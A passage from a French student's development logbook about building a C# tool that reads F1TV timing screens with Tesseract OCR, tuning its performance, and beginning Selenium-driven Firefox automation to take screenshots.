n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard. Vendredi 6 Avril 2023 Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); Size newWindowSize = new Size ( bmp . Height , bmp . Height ); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right side int offset = Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 20f ); int CorrectedX = currentPosition - ( newWindowSize . Width - offset ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , 0 , newWindowSize . Width , newWindowSize . Height ); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin. Vacances Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { Point tmpPos = new Point ( 0 , FirstZonePosition . Y + i * FirstZoneSize . Height - Convert . ToInt32 ( i * offset ) /*- (i* (FirstZoneSize.Height / 32))*/ ); Zone newDriverZone = new Zone ( MainZoneImage , new Rectangle ( tmpPos , FirstZoneSize )); Bitmap zoneImg = newDriverZone . ZoneImage ; newDriverZone . AddWindow ( new DriverPositionWindow ( zoneImg , new Rectangle ( driverPositionPosition , driverPositionArea ))); newDriverZone . AddWindow ( new DriverGapToLeaderWindow ( zoneImg , new Rectangle ( driverGapToLeaderPosition , driverGapToLeaderArea ))); newDriverZone . AddWindow ( new DriverLapTimeWindow ( zoneImg , new Rectangle ( driverLapTimePosition , driverLapTimeArea ))); newDriverZone . AddWindow ( new DriverDrsWindow ( zoneImg , new Rectangle ( driverDrsPosition , driverDrsArea ))); newDriverZone . AddWindow ( new DriverTyresWindow ( zoneImg , new Rectangle ( driverTyresPosition , driverTyresArea ))); newDriverZone . AddWindow ( new DriverNameWindow ( zoneImg , new Rectangle ( driverNamePosition , driverNameArea ))); newDriverZone . AddWindow ( new DriverSector1Window ( zoneImg , new Rectangle ( driverSector1Position , driverSector1Area ))); newDriverZone . AddWindow ( new DriverSector2Window ( zoneImg , new Rectangle ( driverSector2Position , driverSector2Area ))); newDriverZone . AddWindow ( new DriverSector3Window ( zoneImg , new Rectangle ( driverSector3Position , driverSector3Area ))); MainZone . AddZone ( newDriverZone ); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow ( Bitmap image , Rectangle bounds ) : base ( image , bounds ) { Name = \"Position\" ; } Sachant que le constructeur de base d'une Window c'est : public Window ( Bitmap image , Rectangle bounds ) { Image = image ; Bounds = bounds ; Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if ( Engine == null ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); FirefoxOptions options = new FirefoxOptions (); var driver = new FirefoxDriver ( service , options ); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxOptions options = new FirefoxOptions (); options . AddArgument ( \"--disable-headless\" ); var driver = new FirefoxDriver ( service , options ); driver . Navigate (). GoToUrl ( \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\" ); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que 